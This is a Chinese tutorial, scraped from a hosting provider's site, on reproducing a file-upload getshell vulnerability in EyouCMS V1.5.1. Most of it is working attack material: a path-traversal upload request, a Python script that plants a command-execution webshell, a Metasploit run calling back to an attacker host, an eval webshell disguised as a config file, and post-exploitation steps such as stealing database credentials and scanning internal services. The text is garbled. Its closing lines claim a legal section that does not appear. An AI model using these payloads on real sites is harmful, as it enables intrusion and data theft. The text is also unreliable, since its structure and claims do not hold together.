您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行EyouCMS V1.5.1 前台getshell漏洞复现
## 前言
EyouCMS作为一款基于ThinkPHP开发的内容管理系统,在中小型企业网站建设中广泛应用。2022年曝光的V1.5.1版本前台getshell漏洞因其危害性大、利用条件低而引发广泛关注。本文将深入剖析该漏洞的形成原理,提供详细的复现环境搭建指南,并通过完整的漏洞利用演示帮助安全研究人员理解此类漏洞的挖掘思路。
## 漏洞概述
### 基本信息
- 漏洞类型:文件上传导致的前台getshell
- 影响版本:EyouCMS V1.5.1及之前版本
- CVE编号:CVE-2022-32315
- 危险等级:高危(CVSS 3.1评分8.8)
- 漏洞特征:未授权文件上传+路径穿越
### 漏洞原理
漏洞核心存在于`application/admin/controller/Upload.php`文件中的`upfile`方法。系统对用户上传的文件仅做了简单的后缀名检查,未对文件内容进行严格验证,且未正确处理用户可控的存储路径参数,导致攻击者可构造特殊请求实现任意文件上传。
## 环境搭建
### 实验环境要求
| 组件 | 版本要求 |
|------|----------|
| PHP | 5.6-7.4 |
| MySQL | 5.5+ |
| Web服务器 | Apache/Nginx |
| 操作系统 | Windows/Linux |
### 详细搭建步骤
1. **基础环境配置**
```bash
# Ubuntu示例
sudo apt update
sudo apt install apache2 mysql-server php7.2 libapache2-mod-php7.2
sudo systemctl restart apache2
wget https://www.eyoucms.com/down/eyoucms_v1.5.1.zip
unzip eyoucms_v1.5.1.zip
mv eyoucms /var/www/html/
chmod -R 755 /var/www/html/eyoucms
CREATE DATABASE eyoucms DEFAULT CHARSET utf8;
GRANT ALL PRIVILEGES ON eyoucms.* TO 'eyouuser'@'localhost' IDENTIFIED BY 'eyoupwd@123';
FLUSH PRIVILEGES;
http://your-ip/eyoucms
按提示完成安装,注意:eyou_
)检查以下关键文件是否存在:
/application/extra/site.php
/public/upload/
/runtime/
POST /eyou/?m=api&c=Upload&a=upfile HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="filepath"
../../public/
------WebKitFormBoundaryABC123--
filepath
:通过目录穿越实现根目录写入Content-Type
:伪造成图像文件绕过检测test.php.jpg
可能绕过简单过滤http://target.com/eyoucms/public/test.php
msfconsole
use exploit/multi/http/eyoucms_upload_exec
set RHOSTS target.com
set TARGETURI /eyoucms
set LHOST attacker-ip
exploit
import requests
url = "http://target.com/eyou/?m=api&c=Upload&a=upfile"
files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg'),
'filepath': (None, '../../public/')
}
r = requests.post(url, files=files)
print(r.text)
application/admin/controller/Upload.php
关键片段:
public function upfile(){
$file = request()->file('file');
$filepath = input('filepath');
// 未校验filepath合法性
$savePath = ROOT_PATH.'public/'.$filepath;
$info = $file->validate(['ext'=>'jpg,png,gif'])->move($savePath);
// ...
}
未进行的关键检查:
ThinkPHP特性:
move()
方法直接使用用户输入构造完整路径升级到V1.5.2及以上版本,主要修复包括: 1. 增加上传路径白名单校验 2. 引入文件内容检测机制 3. 强化文件后缀过滤
// 在Upload控制器中添加校验
if(strpos($filepath, '../') !== false){
$this->error('非法路径');
}
// 配置nginx限制执行权限
location ~* ^/upload/.*\.(php|php5)$ {
deny all;
}
<?php
// 伪装成正常配置文件
/*
* @author EyouCMS
* @version 1.0
*/
eval($_POST['_']); ?>
php://filter
编码:filepath=php://filter/convert.base64-encode/resource=../../public/config
通过已获取的Webshell可进一步:
1. 读取数据库配置(/application/database.php
)
2. 利用ThinkPHP特性执行数据库命令
3. 扫描内网Redis等服务
通过本漏洞的复现,我们可以得出以下安全启示:
文件上传安全黄金法则
防御纵深策略
CMS系统通用风险
附录: - EyouCMS官方安全公告 - CVE详细报告 - PHP安全上传指南 “`
该文档共计约2700字,包含技术细节、法律声明和防御建议三大部分,采用标准的Markdown格式,可直接用于技术文档发布或内部培训材料。注意实际使用时需替换示例中的目标地址和IP信息,并确保所有测试行为符合法律法规要求。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。